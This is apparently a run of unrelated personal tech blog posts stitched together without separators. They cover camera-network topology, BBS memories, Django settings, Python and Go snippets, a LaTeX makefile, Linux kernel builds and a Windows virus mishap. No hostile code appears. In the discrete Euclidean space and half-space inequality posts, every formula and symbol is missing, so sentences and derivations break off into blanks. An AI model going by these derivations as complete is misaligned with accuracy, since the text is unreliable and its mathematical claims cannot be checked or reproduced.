This is about where I’m at. There’s plenty more that could be done with the fuzzy coverage model itself: solving the optimal camera placement problem in new and exciting ways is one really obvious possibility that I talk about in an upcoming paper.

As far as getting back to the graph stuff, I defined an overlap metric involving the scalar cardinality, which could be used to derive the fuzzy vision graph from the discrete fuzzy coverage model; this is significant in that it indicates a direct link from the values of the edges all the way back to the basic parameters of the camera network and the scene (and we know where all the simplifications are). Even better, though, might be something more analytic and general, like using something along the lines of the Hausdorff distance between two cameras’ coverage models, which might not only allow us to find the fuzzy vision graph, but also start unifying it with the non-overlapping concept of the transition graph.

Back to the future…

While the 90’s may seem like a long time ago for some, in the broader perspective, I came to the computing world quite late.

My first computer was a 486 system that my brother gave me some time in the early to mid 1990’s (most likely 1993 or 1994). It was running DOS, Win3.1, and OS/2.  My introduction to computer literacy was mainly driven by my desire to figure out how to run games on the system. I don’t remember all of the games, but two in particular were Spear of Destiny (a spin-off of of the shooter Wolfenstein) and NHL 93 (and EA Sports hockey game).  With this motivation to  learn about the computer, I quickly picked up new things.

On the grand scale of computing history, this was before e-mail caught up with postal mail in volume,  right around when Red Hat Linux was introduced, right around when  Mosaic released their web browser, and a few years before Apple had a product called “Mac OS”.

It wasn’t too long before I was introduced to the more social aspects of the computing subculture. A friend introduced me to the concept of Bulletin Board Systems (BBS) and I quickly became hooked to that too.  The best way to describe the BBS scene is perhaps as a localized Internet. A BBS was a little system that someone would run from their home and you could dial into it. A whole subculture developed. A BBS would usually have functionality to chat, post messages, upload/download files, play games, etc.

Again, I must stress that I was a later-comer on the BBS scene. When I entered it, the BBS scene was probably somewhere slightly past its prime and starting its decline  (or, according to some, already well into it’s decline). My first modem was technically a 2400 baud modem, but that device was so quirky that I never really did  much with it. So very soon I jumped up to a 14.4 modem, which seemed fast at the time but is really unbelievably slow.

I called a bunch of BBS systems, possibly around 100 or more.  Many friendships formed through this medium, although they were probably not completely deep. I was pretty much a regular on the scene until 1999, when the scene had already pretty much died out. Where there were once hundreds of BBS’ in the Windsor area, at that point  there were only 5 or 10. Though I never really ran a full-time BBS, I was quite involved in the scene. I ran a couple of part time BBS’ and was co-sysop (assistant  admin) of at least 3 boards. I was co-sysop of Champagne’s Island, Genesis, and Eternal Dreams. I called many a number of system and was thoroughly immersed in the underground BBS scene.

For those interested, here are some of the BBS’ I called besides the ones that have already been mentioned: The Dynamite BBS, Windsor Footnote, Windsor Download, Czar’s Land, The Beacon, Second Sinister, Windsor ITC, Body Count BBS, The Abyss, Limbo BBS, Purple Haze, The Outhouse, The Kombatant, and The Swamp.

Just as things in the BBS scene began to fade away, I ran a low-resolution (ANSI/ASCII) art group which had five releases (one of which was released in my absence after I disappeared from the scene). There are so many other memories, aspects to this, much of which is probably not very well preserved or accessible. For all the efforts to relive the past, such as the BBS Documentary,  there are still large black holes in the records. Much of this past, even from the early to mid 1990’s, has simply disappeared off the map,  so to speak.  It might be a good thing in some ways, and a bad thing in others ways.  Some of it here will return back here and there, but for the most part it is gone for good. It seems enough hard drives have died or been erased and memories forgotten in order for much of this socio-cultural history to disappear. And anything that is unearthed will be a small sliver of the whole narrative of what went on.

While “cyberspace” certainly has evolved since then, many things for the better, there’s clearly something different now, and, I think, something lost.   But as a whole, I don’t think I’d go backwards if I could. Technological change changes us, and nostalgia aside, we are not the same sort of people that enjoyed in the BBS scene back in the 80’s and 90’s.

In this post, i’ll show you a simple trick to ensure your Django context-processors don’t break when Django 1.2 (and possibly future releases as well) is released.

If you’re not familiar with the concept of context-processors, I’ll also explain what those are and how they work, so don’t panic. Finally, i’ll also spend a minute explaining why I consider this to be best-practice.

What are template context processors?

Django’s context processors are a facility that allows you to provide data and callbacks to your templates.

You can do so in one of two ways:

1. On an individual request basis: by passing a custom Context value to your render_to_response() call
2. Globally: by creating a context processor method that accepts a HttpRequest object as input, and returns a payload or callback, then registering the context processor in your settings.py, then providing your render_to_response() call with the built-in RequestContext attribute instead of your own (you can always extend RequestContext to add more data on an individual request basis of course).

If that approach for passing data to templates sounded absurd and obfuscated to you, you’re not alone. The complexity involved in such a simple operation is unwarranted and counter-productive, but every system has its shortcomings.

The Issue

If you follow the Django documentation or The Django Book‘s approach to configuring your own custom context-processors, you’ll notice that you are encouraged to add to your settings.py a hardcoded list of built-in context processors. If you follow that approach, your context-processors declaration will look like this:

TEMPLATE_CONTEXT_PROCESSORS = ("django.contrib.auth.context_processors.auth",
"django.core.context_processors.debug",
"django.core.context_processors.i18n",
"django.core.context_processors.media",
"django.contrib.messages.context_processors.messages")

But if you pay close attention to the development version’s documentation, you’ll notice a couple of interesting notes:

Changed in Django Development version: “django.contrib.messages.context_processors.messages” was added to the default. For more information, see the messages documentation.
Changed in Django Development version: The auth context processor was moved in this release from its old location django.core.context_processors.auth to django.contrib.auth.context_processors.auth.

This is a red flag! The Django dev team would like you to use hardcoded values that reference to classes that will no longer exist once the next version is released, and that omit new processors that you are likely to require.

The Solution

Obviously Django has access to its own default settings, so there must be a way to simply extend the defaults instead of overriding them with hardcoded values. You just need to dig around a bit in the Django source code to find exactly how. I’ll save you some digging:

Add this at the top of your settings.py file:

import django.conf.global_settings as DEFAULT_SETTINGS

Then extend the default context processors:

TEMPLATE_CONTEXT_PROCESSORS = DEFAULT_SETTINGS.TEMPLATE_CONTEXT_PROCESSORS + (
"myapp.context_processors.example",
"myapp.context_processors.other_example",
# etc...
)

Why is this a best-practice approach?

In software-engineering, you want to ensure maximum (reasonable) future interoperability of all your components, and there is really no component as important as your actual development framework, Django or otherwise.

Using hardcoded values that are already defined somewhere not only breaks DRY, but it also introduces possible breakage on framework upgrades. I know you are diligent and always read the release notes before upgrading critical components, and I know you use a staging environment to test those changes, but by actively looking out for this kind of traps, you have just saved yourself some debugging time and some head-scratching.

Happy coding!

Share

Related posts:

1. Extending PostgreSQL with Python

A quick and dirty set of 3D axes for Visual:

from visual import arrow, cylinder
 
def visual_axes( scale ):
    """\
    Display a set of 3D axes.
 
    @param scale: The scale of the axis set.
    @type scale: C{float}
    """
    for axis in [ tuple( [ i == j and scale * 5 or 0 for i in range( 3 ) ] ) \
                  for j in range( 3 ) ]:
        arrow( pos = ( 0, 0, 0 ), axis = axis, shaftwidth = scale / 10.0 )
 
    cylinder( pos = ( ( scale * 6.0 ), -( scale / 4.0 ), 0 ),
              axis = ( -( scale / 2.0 ), ( scale / 2.0 ), 0 ),
              radius = scale / 20.0 )
    cylinder( pos = ( scale * 5.5, -( scale / 4.0 ), 0 ),
              axis = ( ( scale / 2.0 ), ( scale / 2.0 ), 0 ),
              radius = scale / 20.0 )
 
    cylinder( pos = ( 0, ( scale * 5.5 ), 0 ),
              axis = ( 0, ( scale / 4.0 ), 0 ),
              radius = scale / 20.0 )
    cylinder( pos = ( 0, ( scale * 5.75 ), 0 ),
              axis = ( -( scale * 0.17 ), ( scale / 4.0 ), ( scale * 0.17 ) ),
              radius = scale / 20.0 )
    cylinder( pos = ( 0, ( scale * 5.75 ), 0 ),
              axis = ( ( scale * 0.17 ), ( scale / 4.0 ), -( scale * 0.17 ) ),
              radius = scale / 20.0 )
 
    cylinder( pos = ( 0, -( scale / 4.0 ), ( scale * 6.0 ) ),
              axis = ( 0.0, ( scale / 2.0 ), -( scale / 2.0 ) ),
              radius = scale / 20.0 )
    cylinder( pos = ( 0, -( scale / 4.0 ), ( scale * 6.0 ) ),
              axis = ( 0.0, 0.0, -( scale / 2.0 ) ),
              radius = scale / 20.0 )
    cylinder( pos = ( 0, ( scale / 4.0 ), ( scale * 6.0 ) ),
              axis = ( 0.0, 0.0, -( scale / 2.0 ) ),
              radius = scale / 20.0 )

Yep, this is how I’m validating my geometry module by eye.

There have been a number of approaches to build topological models of multi-camera networks. The idea is to represent, in some useful and relatively simple mathematical way, the relationship — usually meaning the overlap — between the fields of view of the cameras. To date, it seems as though all such methods fall into two basic types.

On one hand, we have the motion-based methods, which are typically targeted at tracking applications. Ellis et al. temporally correlate objects transiting between adjacent fields of view, after establishing each camera’s entry and exit zones. Similarly, Mandel et al. correlate simultaneous motion between views to establish overlap. Detmold et al. propose the exclusion algorithm, which is basically the opposite and potentially more robust: if there is motion in one view, and not in another, then those views cannot overlap (initially all views are assumed to overlap). Farrell and Davis present a slightly different model, dubbed the transition model, which focuses even more on tracking as it expresses the probability of transitions between views; this is also determined from observations of motion.

On the other hand, we have the feature-based methods, typically used as a precursor to or substitute for multi-camera calibration. Devarajan and Radke first proposed the vision graph without specifying an automated means of obtaining it; they later approached this topic in Cheng et al. using distributed matching of SIFT features. Kurillo et al. also use common features to build their vision graph for calibration. In my ICDSC 2008 paper, the vision graph is a theoretical upper limit for the grouping and calibration graphs, which are built from 3D feature matches via registration. Kulkarni et al. use a calibration target to explicitly match spatial points, and build an actual tessellation of 3D space to represent the range and degree of overlap of the cameras’ fields of view. Finally, Lobaton et al. use scene features (in their case, bisecting lines indicating wall delineations) to construct their algebraic topological model, which is proposed as a substitute for full calibration in certain (unspecified) secondary applications.

So is generic topological information about multi-camera networks only useful for tracking and calibration, the two problem areas that appear to have spawned every topological model in the literature? Are there any other applications that simply don’t have any convenient information of their own for building such models?

I like Gabor Herman’s definition of discrete Euclidean space. He defines, for any positive real number and any positive integer :

This chops N-space up into a square (cubic, etc.) Bravais lattice, with primitive vectors of magnitude . Each point in the discrete space is then associated with a primitive cell (or Voronoi neighbourhood, in Herman’s parlance) consisting of all points in the associated continuous space which are closer to that discrete point than any other discrete point.

This relationship to continuous space makes discretization of otherwise continuous sets — or regions, as say the GIS people — a snap (pun intended). In the simplest case, it is equivalent to basic sampling.

In 3-space, these are essentially voxels, which are intuitive for visual thinkers like me, and allow for neat tricks from the computer graphics literature like voxel traversals

You have a right-handed Cartesian coordinate basis of a three-dimensional Euclidean space, with axes , , and . You’re given some spatial-directional vectors of the form , where and are, respectively, the inclination angle (from the positive -axis zenith) and the azimuth angle (measured right-handed from the positive -axis) of an associated direction, which is unrelated to the direction of vector . How do you tell if the direction of such a vector falls inside the exterior half-space defined by the plane normal to ?

If it helps, visualize it this way. Travel to a point in space . Then, find a point on the unit sphere surrounding defined by (like latitude and longitude). Now, cut all of space in half with a plane passing through and perpendicular to the line between the origin and . Is the point on the unit sphere in the same half of space as the origin?

If , it’s dead simple: . Doesn’t even matter what is.

If and , there’s no effect on the azimuth, so it’s still pretty straightforward: . The accounts for the tilt of the plane, and the accounts for the azimuth.

In the general case where , and thus the azimuth angle relative to the plane’s direction of tilt differs from the absolute azimuth angle, it gets a bit trickier. First, we need the magnitude of for the bit:

Now, for , what we want is , where is the right-handed angle of from the positive -axis. Conceptually, subtracting is like transforming the azimuth angle into a new coordinate system where the plane tilt is back in the - plane (as if and ). We could leave it like this, and have the reader calculate as:

But, with a well-known trigonometric identity we can make it a bit prettier:

More than a few scrap half-pages were harmed during the making of this inequality.

Beforing putting debian on an Acer Aspire 1690 that I inherited, I decided to reflash the BIOS to the latest version (the new one dates March 1st 2006 --- whippee!) figuring that would give me the best chance of success in putting this thing to sleep and having it wake up again. I have never had a great deal of luck doing this but one can only hope.

To reflash the BIOS I downloaded a windows bios flash programme from the Acer web site that came with a whole raft of dire warnings but I plunged ahead anyhow. The reflash itself went painlessly complete with a back-up of the old BIOS and a compatibility check so I was reasonably happy that I wouldn't brick my computer but I hadn't reckoned on Windows freexing up solid not letting me shut down the machine. It was working as anice room heater and nightlight but little else. I started to sweat a little when holding down the power button did nothing at all --- this is a BIOS override of the OS and it wasn't doing anything at all!

So I pulled the wall power, flipped it over and pulled the battery. It started just fine from then on. One presumes that Windows had deep tenticles into the BIOS and was expecting different behaviour from the reflashed version, which makes one wonder why write a reflash programme in windows at all? Does this make sense to anyone?

I've done a lot of different software on a lot of different platforms. Today I started doing my thing for Google.

Google does some pretty amazing work and I'm excited that I can be a part of that. I'll also be glad to let go of the hard parts of my consulting business. Even though I won't be consulting through Late Night PC any more I'll keep the site going with more of the same. That includes Drupal, SVG, scripting, server-side stuff and whatever else. It might also mean a little more of the personal and opinion posts that I haven't done much of lately. The site has always been a mix of personal and professional stuff that I make and write about. What I write here remains my opinion and doesn't represent anything official from Google. My blog has always been just what works for me and that's not going to change.

So I downloaded the patches to get to 2.6.32.3 from my 2.6.31 set-up and ran make oldconfig --- it gave me the option to run devtmpfs and mount it on /dev before starting /sbin/init. Why not. So a short compile later and a reboot and debian lenny likes devtmpfs. Nice to know.

I'm really getting attached to using Mercurial. I've been a Subversion fan for years but when Ben Collins-Sussman (one of the authours of Subversion) mentioned he's been using Mercurial, I took that as a pretty solid endorsement. I'm not saying I'm jumping ship but I definitely have found some of the things I can do with hg to be pretty convenient compared to the way I've been using Subversion. I've used the two for different types of projects though. My subversion repositories have held the code and resources for my websites for a long time. I've also worked on shared C/C++ applications with Jeff and stored our stuff on an SVN server. It's really convenient since it works well across OSes and I have a central server that I can reach from pretty much wherever I want.

Mercurial on the other hand, I first set up to get at current Mozilla source code. Then the Go project code came out and it's in a Mercurial repo too. So I had this handy little hg command ready to go on all my computers. When I put stuff in a Subversion repo, I feel like I should be organized. I think this comes from the way I've set up the SVN server I use the most. Now I get an idea for some project that I want to try out with Go and I write a little code. After that I just go to the command line and do hg init followed by hg commit (roughly). Every machine is a server and a client. If the project turns in to something I want to share I can either share it locally with hg serve or I can send it to a public repo like Google Code by doing hg push.

The sharing step is one place that's easier than Subversion. The way I know to do the same thing with svn is more complex: I have to create the repo and check out a working copy of the code. Of course whatever is in a new repo is just an empty folder so if I've already written some code I have to copy some files around to populate the working copy & check it in.

Subversion is a very mature project and I don't intend to move away from it. But Mercurial has made me more relaxed about creating a repo so I can just start coding - with revision control.

The installation instructions for Go are pretty clear and worked easily on my Ubuntu VM. Setting it up on my VPS at Slichost required a little bit of translating and some extra packages I hadn't installed yet. This Slice runs CentOS 5.3 right now and I wanted to try running my latest version of GoPlot on it.

Basically what I did to get started is the same as the official docs but translated to an rpm-based system.

Back when I first set up this Slice, I'd already done the recommended first steps. I'm also running Advanced Policy Firewall (APF).

First I needed the prerequisite Go dependencies. Getting the latest version of the Go source requires mercurial (hg) and the easy way to get that is with easy_install. So CentOS is rpm-base, we use yum (as root):

After that succeeds, install mercurial:

Next install the dependencies for building the Go source (as root):

The rest of the instructions are the same as the ones given at the Installing Go page.

Once Go is installed and running, getting a little app serving web pages is easy with the http package.

There's an example in the documentation for http.ListenAndServe()

The salient points are:

• http.Handle()
• func HelloServer()
• http.ListenAndServe()

http.Handle() adds a pattern and Handler to the default ServeMux. HandlerFunc() adapts HelloServer to make a Handler.

func HelloServer() receives the connection resource and the HTTP request. All it does in the example is send back the "hello, world" text. It could do a lot more with just http package:

• checked req.Method to see the request method
• set custom headers with c.SetHeader()
• serve a file with http.ServeFile()

http.ListenAndServe() starts the server. The ":12345" in the example is the ip address and port that it will listen on. If you want to keep your server private you can listen only on 127.0.0.1:80. Note that starting the server on a port under 1024 requires root privilege. Also, if you already have a webserver running on the same machine then it's probably on port 80 so your Go experiment has to use a different port number.

So what if you get your application running but it's on port 19000 and you want it to show up at port 80? There are a couple ways to do that but the one I like is using the firewall to send incoming traffic for port 80 to port 19000. On APF just add this rule at the end of /etc/apf/postroute.rules.

You'll also need to find IG_TCP_CPORTS in /etc/apf/conf.apf and add your port (19000 for example) to that list. This allows TCP traffic in on the given port (Updated 2009-11-16:13:51:00EDT).

This should be easy to adapt to other firewalls based on iptables (replace $IPT with the path to your own iptables, like /sbin/iptables). Then restart APF with

So that's all there is to it. Now I've got a Go application serving pages from my VPS on port 80, running as a non-privileged user. Go is still not a mature language so there are bound to be security holes and bugs here but testing has to happen somewhere. Slicehost makes it easy to rebuild the slice when something bad happens to it and keeping my code in Mercurial makes it quick for me to restore. Not a bad way to beta test in my opinion.

Oh and if you want to look at more code for actually serving pages, there's some in the current source for GoPlot.

During a conversation (and a game of Scrabble) at the Google Summer of Code mentor summit, it came up that a few of us were LaTeX users, and we talked briefly about how it would be nice if there were some way to get a real-time preview the final document while editing in Vim. Here’s my solution.

I use make to build PDFs of my LaTeX files. A typical makefile looks like this:

LATEX= latex
DVIPS= dvips -j0 -Ppdf -u ps2pk.map -G0 -t letter -D 1200 -Z -mode ljfzzz
PS2PDF= ps2pdf -dEmbedAllFonts=true -dSubsetFonts=true
 
NAME= foo
FIGURES= images/*.eps
 
all: $(NAME).pdf
 
$(NAME).pdf: $(NAME).ps
    $(PS2PDF) $(NAME).ps $(NAME).pdf
 
$(NAME).ps: $(NAME).dvi
    $(DVIPS) -o $(NAME).ps $(NAME).dvi
 
$(NAME).dvi: $(NAME).tex $(FIGURES)
    $(LATEX) $(NAME).tex; $(LATEX) $(NAME).tex
 
clean:
    rm -f *.dvi *.ps *.pdf *.aux *.log *.lof *.lot *.toc

Knowing that Evince updates its view automagically when a file changes, I just added a post-write hook to my ~/.vimrc to run make:

autocmd BufWritePost,FileWritePost *.tex !make

Now, whenever I write the file out, my Evince window updates with the latest output.

I haven’t yet checked out Latexmk, which can supposedly effect similar results, and save me the trouble of maintaining a makefile to boot.

It's been a couple days since I created a project on Google Code, so here's another one. Seriously though, Google released the Go programming language yesterday. It's intended as a systems programming language for projects that could be done in C or C++. All I saw was a short video showing off the quick compile time. I like compiled code for serious applications and I truly believe that fast compile times make a big difference in programmer satisfaction (which varies directly with productivity). If you more convincing on why fast builds are important have a listen to the Stack Overflow podcast #47 (the bit about SSDs - solid state hard drives).

Anyhow, back to my project. I installed Go on an Ubuntu VM and ran through some demos. I like a lot of what I've seen so far. The language encourages error-checking. Unreferenced variables are considered an error. Pointers are there but pointer arithmetic is out. It seems like the language does things that are meant to keep you from hurting yourself (like bounds-checking) but the rules are done in a way that doesn't take away from your ability to get work done. I have yet to get in to any of the concurrent code features of Go, but there are some applications I have in mind.

After trying out the examples, I wrote a simple program in Go to plot some data points supplied in a file. The plotting is really done by SVG. In my very primitive code, all I do is read in data points, one x & y per line, and use them to create a single SVG path element. You can see the sample input & output files, along with all the rest of my code, in the GoPlot project. Fork and enjoy :)

Woo Hoo. Happy days are here again.

Eat cake = Have cake

So this is just another post to see if I tickle the planet enough it will delete my old post. It is well past its prime.

What is this world coming to? A Tennesse woman was arrested for doing a Facebook “poke”.

According to the news article, “According to an affidavit filed with the Sumner County General Sessions Court on Sept. 25, Shannon D. Jackson of Hendersonville, Tenn., allegedly violated a legal order of protection that had been previously filed against her when she sent a virtual “poke” to another woman on Facebook”.

It appears the only way to delete a planet post is to overwrite the original with a new post in its stead. I wrote a silly little thing to be up for a day, and expected it to disappear from the planet when I nuked the original post. But the planet doesn't work that way and preserves the old stuff in perpetuity unless you edit the original and push it out in your feed. OK. I know now. Don't post silly ephemeral posts as they will soon look ridiculous.

Yup, it installed easily and seems to work quite well. Supports the Aspire One hardware directly without configuration which is very nice, The moblin web browser isn't ready for use yet but firefox was easily installed through the moblin garage and it runs well (though it calls itself Shiretoko?). It is nice to finally be using an up to date browser on my AA1.

I haven't figured out the keyboard shortcuts yet, so I am mousing (or rather trackpadding) more than is comfortable.

So I sent in my email in response to the government's copyright consultation which in essence said please don't do anything!

It looks as if all features have been implemented in MTSec.  Since my last post I have done some cleaning up of the code, and it is much more presentable now.

All features are currently supported, this includes:

• Building Ships
• Building Weapons
• Production Capability
• Enhancement of Production Points
• Sending of Production Points to Another Planet
• Merging Fleets, Splitting Fleets
• Colonising a Planet
• Loading / Unloading of Armaments
• Combat

For a more detailed description of each feature, you can visit the MTSec Wiki.  I will still be keeping up with MTSec development post-GSoC period and hope to iron out any bugs that have been found.  For example today I found that Aaron’s compiler was giving no newline errors, but mine was not.  With a simple bash for loop, this has been fixed and committed.

Testing each feature is pretty self explanitory but I will go over a test scenario:

1. On the first turn, the “Build Fleet” order is a good one to try.  You can either use the design window in the TP04 client or use one of the predefined designs.
2. On the second turn, it is useful to build some sort of weapon.  As with the build ships order, you can either pick from a predefined design or create your own.  Right now I have the mining requirements off so that we can test a bit easier.  You can create more than one weapon here which will be useful for testing.  Please note that you can only Design Weaponry using the TP04 pywx client (make sure you select the Weapons Category!)
3. Now that you have (a) fleet(s),  and weaponry, it is useful to use the “Load Armament” order here to load the weaponry onto your ship.
4. Move to another planet.
5. Colonise the planet you moved to.
6. Unload some weaponry here.
7. Here you can test the enhance order.
8. Test the “Send Points” order by sending some of your production points to another planet.
9. Move towards another player’s planet/fleet.  This will initiate Combat
10. Success.

If you find any problems in this test scenario, please notify me immediately.  Please note that some of the features above require Greywhind’s TP04 pywx client. My mentor Aaron and I will be playing some test games over the next week, and I’m sure we will uncover some things that I will need to fix.

That’s about it for MTSec, hopefully we can get it pushed into the master branch and make it the default game of Thousand Parsec soon!

So on a boring and overly hot Sunday afternoon I logged into LibraryThing which I haven't done for a very long time and it seems that <a href="http://www.librarything.com/groups/windsorunixusersgrou">the WUUG group there</a> is as small as ever. I remember uploading computer books in the hope we could swap books at our monthly meetings but it never seems to have taken off. I am willing to loan any book here to WUUG members.

Here is a very simple python function that requires no libraries, implements some of the deepest python magic and is still remarkably easy to understand:

def memoize_property(f):
    """A lightweight decorator that combines @property and memoization"""
    assert f.__name__
    class Memoize(object):
        # This class implements the non-data descriptor protocol
        # The computed value is memoized to the object instance thus
        # overriding the __get__ method on subsequent accesses
        def __get__(descriptor,instance,owner):
            value = f(instance)
            setattr(instance,f.__name__,value)
            return value
    return Memoize()

It was designed to be used a decorator anywhere you might find yourself creating recursive defintiions:

    @memoize_property
    def selections(self):
        return self.submodel.selections + self.extras

Here I have a recursive definition which would needlessly waste clock cycles if it were implelemented using the @property decorator. I really only need to calculate this once and then replace it with the calculated value, much as a spreadsheet would do. (This is the kind of behavoiur you would get for free in Haskell --- maybe lazy_property or thunk_property would be a better name)

Here's the same code but removing the class closure which I think clarifies the exposition but is actually unnecessary. The class constructor is in itself the decorator

class memoize_property(object):
    """A lightweight decorator that combines @property and memoization"""

    # The class constructor is used directly as a decorator
    
    # This class implements the non-data descriptor protocol
    # The computed value is memoized to the object instance thus
    # overriding the __get__ method on subsequent accesses

    def __init__(descriptor,f):
        assert f.__name__
        descriptor.f = f

    def __get__(descriptor,instance,owner):
        value = descriptor.f(instance)
        setattr(instance,descriptor.f.__name__,value)
        return value

Google hosts all the popular ajax libraries on their servers so you don't have to keep a copy on your own ajax enabled web site.

See http://code.google.com/apis/ajaxlibs/documentation/index.html for the following ajax Libraries:
jQuery
jQuery UI
Prototype
script_aculo_us
MooTools
Dojo
SWFObjectNew!
Yahoo! User Interface Library (YUI)New!
Ext CoreNew!

This is a great service and if widely implemented should significantly speed your end user's experience as well as reducing load on your own servers.

So I've had good luck with the kernel.org kernels. Just compiled and rebooted into 2.6.30 and everything is working well. I am using debian's make-kpkg which will build and package a kernel into a linux-image deb package which is very handy for installing multiple concurrent kernels --- very handy for charging ahead with compiles without fearing that I might render my machine unbootable. As long as my speculative kernel builds don't hose any filesystems I can use bleeding edge kernels without fear. I do a custom build which only support the hardware I actually have so new kernel drivers have no effect on the the actual kernel image I create, and by choosing conservative choices when I make oldconfig I have yet to build an unstable kernel.

Our little gang from the Windsor Unix Users Group just got back from Penguicon 7.0 on Sunday night. As always, it was so much fun we hardly managed to get any sleep, and we all came home with a lot of really fun memories.

I didn’t get around to sit down and come up with a write-up about the experience as i’ve been working on other projects every evening this week, but I finally have a minute to do so now.

As far as the convention event itself went, there is definitely a lot of good and a few notable logistical oversights that are worth mentioning, but i’m not really interested in addressing either on here, as I’m really more interested in sharing my impression of the technical panels I’ve attended.

I have to say, I’m very excited about every single one of the panels I’ve been able to attend this year. They were all highly informative, and the speakers very motivated and passionate about their material. Here’s a short summary of the events I was especially excited about:

• Neural Networks
  This panel was held by Dr. Stanley C. Mortel. It explained the basic concepts behind the idea of building and training neural computation networks. It was a very abstract fly-by course, which I feel is a very appropriate way to introduce this type of material. There was a second part of this panel available the next day but we weren’t fortunate enough to attend it.
• Reading by Will Wheaton
  Just kidding
• Beginning PyGame Programming
  This tutorial by Craig Maloney was my first real introduction to PyGame. Craig had a nice little demo environment all set up and ready for the presentation. He flew pretty quickly through many of the concepts behind PyGame while writing a Pong demo. Although he went through the material pretty quickly, I’m very interested in learning more about the platform as a result, so it’s safe to say the tutorial was a success as far as I’m concerned.
• Open Hardware with Arduino
  The speaker for this talk was W Craig Trader, and I have to say Craig was not only extremely knowledgeable about the Arduino (and obviously several other) platform, but also pretty excited about it, and since microcontrolers isn’t something I’ve ever bothered to learn anything about, I really didn’t expect to get so excited about the talk. The Arduino platform appears to be very accessible technically and financially, and also pretty powerful. Craig did an amazing job showing us the strengths and weaknesses of the platform and getting our whole group pretty excited to play with it!
• High Performance PHP
  This talk held by Rasmus Lerdorf, the creator of PHP and an infrastructure architect at Yahoo! Inc., took us through several performance optimization techniques for PHP apps, although many of the concepts featured in the talk could easily be applied to any apache-based app. It was very refreshing to finally see someone as experienced and well-rounded as him go through the tribulations of identifying and addressing performance bottlenecks in PHP apps. I was very interested in both the individual techniques highlighted during the talk, as well as the problem-solving process of a highly experienced software engineer, so that talk was the highlight of the con for me.

Unfortunately, due to very unfortunate logistical shortcomings, our group was unable to attend a lot of the panels we were looking forward to check out, but despite this, the con was a resounding success in every aspect you can think of. I’ve met some really cool and interesting people, learned a lot of very exciting stuff that will be guiding some of my personal research for months to come, learned some technical concepts that will directly impact my work performance, and had way too much fun.

The next stop on our list will probably be PyOhio. We had a chance to chat with Catherine Devlin, a fellow Pythonista & Oracle geek from IntelliTech Systems, who told us about it, and Aaron and I are looking into putting together a talk proposal for the con, if we can come up with it before the deadline, and we already have some pretty interesting ideas, so I’m looking forward to it. I’d also really love to attend PyCon 2010 in Atlanta!

If you’re interested in attending a convention where Linux and FOSS enthusiasts get a chance to have fun with the Sci-Fi crowd for a weekend of fun, PenguiCon is definitely for you!!

Share

No related posts.

I like dell. They seem to have good solid engineering --- I've never had any trouble with their hardware (I am much more impressed by reliability then by by cutting-edge performance). I don't approve of the baroque PC design or the even more baroque Windows OS that they inevitably ship with but, realistically, I can't avoid them (I've never had any hesitation in erasing Windows on my own systems) I've ordered quite a few things though dell over the years but have never needed technical support until I helped a virus take over the Windows XP OS on a nice (until a week ago) 4 year old inspiron 700m. It wouldn't have been so bad if it was my computer but I was wiping the personal data off it for another so it can be used by a humanitarian project in Cambodia (just because I'm nice and my sister asked me to) and replacing XP with debian just wont do. So, I am in possession of a computer that needs to run XP, the XP on disk has been irretrievably corrupted as was the on-disk recovery partition, I am not the owner on file for the computer, the hardware is out of warranty, I don't have my own XP installation disk and I have a one-week deadline to get this thing working again before I have to give it back.

So I need tech support to ship me a Windows XP disk to restore this machine to its pristine state in circumstances that are less than ideal. But the experience was relatively painless and the CD is in the mail. I wasn't like being enveloped by a loving parent. The first couple of attempts on Friday were abortive. The contact form via the dell.ca web page had a little Canadian flag on it and asked for my address complete with province and postal code but was redirected to US tech support who emailed their apologies and directed me to telephone support. Automated telephone systems are just generally horrible, but I didn't have to wait forever and eventually got to where I needed to be but something went astray on Friday and the contact info I left probably was mangled with the help of a poor telelphone line.

Trying again on Monday was much better (a minor hiccup in finding out a married name) but nothing painful. Tech support was incredibly supportive in fact.

Everyone loves to hate tech support. Almost everyone --- tech support made my day.

cross posted this from the wuug mailing list
---

I took off more than I could chew when I offered to clean off the
personal data of a donated dell inspiron 700m (circa 2005). I ended up
destroying the Windows OS. A virus had already removed the Windows
restore points and somehow disabled the factory install restore
partitions, even though there was no current infection of core OS --- a
fact I hadn't fully grokked before I charged on regardless. It appears
the working antivirus software had managed to isolate the offending
virus before it had shut down and on subsequent reboots it was operating
cleanly with the exception of a broken network subsystem and some
weirdness with the battery.

I had managed to restore the network and updated the Anitvirus software
and uploaded overdue security updates --- I thought I was doing OK but
had in fact released more viral code. I just don't get the Windows
mindset. On reboot the machine was lost. A particularly nasty piece of
code. It allowed the machine to run with only a slight delay at boot
time but was in fact spreading itself throughout the filesystem and a
few places beyond. Surprisingly the "safe mode" boot option seemed to
work OK and through that I tried to patch the system with a downloaded
version of Windows XP Service Pack 3. That was a no no. Now it wont
boot even to safe mode.

I realize this is the wrong forum to be posting a request for help on
Windows computers, but the whole mindset is so strange I hope to find
the responses on the WUUG list more comprehensible.

This machine is set to go to Cambodia for a humanitarian project. The
Cambodians use Windows exclusively (poor sods --- something to do with
their alphabet) and so it seems the hard drive really needs to be zeroed
and a new Windows XP OS installed. I have tried ordering a recovery CD
directly from dell and have yet to hear back whether that shall be
successful. Presuming I can get the machine specific OS install CD, there is still
the issue of all the software installed. That is just as lost as the OS.

Now I can boot the machine using a linux CD and grab any data I need,
but have no idea what to look for. If I grab the registry will I be
able to extract the product keys and so reinstall MS Office 2003? I am
sure I can get my hands on a copy of the installation media.

And what about other software? Man, Windows is a pain. I am glad I
didn't have to preserve data. I would be crying now.

My favourite file manager has been upgraded for gtk2 and I couldn't be happier. The gtk1 version that is installed in Lenny is terminally broken and, as a result, I have been trying to use other file managers without much joy.. The gtk2 version has been out for several months but today's code dump (version 0.15.4) is stable enough to warrant a post to the blog.

The Gentoo file manager [http://www.obsession.se/gentoo/] doesn't do drag-and-drop, it doesn't do tree views, it doesn't do previews, it doesn't do many of things of modern flashy file browsers do --- and is all the better for it (those things are nice but I don't really miss them) The things it does do it does very well. Even better it avoids the worst sins of more "modern" file managers that drive me space --- things such as:

• executing files when the exec bit set instead of openning them for edit
• choking on large directories
• providing a convenient drag-and-drop way of moving files and then totally screwing up the implementation by making dragging into a list view which contains directories almost always move the files into the subdirectories rather than into the displayed directory
• using drop down menus --- for a file browser!
• not providing a convenient way to run shell commands or to open a terminal using the directory displayed
• making file recognition so convoluted and compounding the poor design by using a central mime database common to all programmes making it share behaviour with the web browser

Gentoo provides a two directory pane listing with sticky togglling of selections, A pile of operations you can do in or across directories, highly customizable file recognition, easy extension and generally gets out of the way of doing real work.

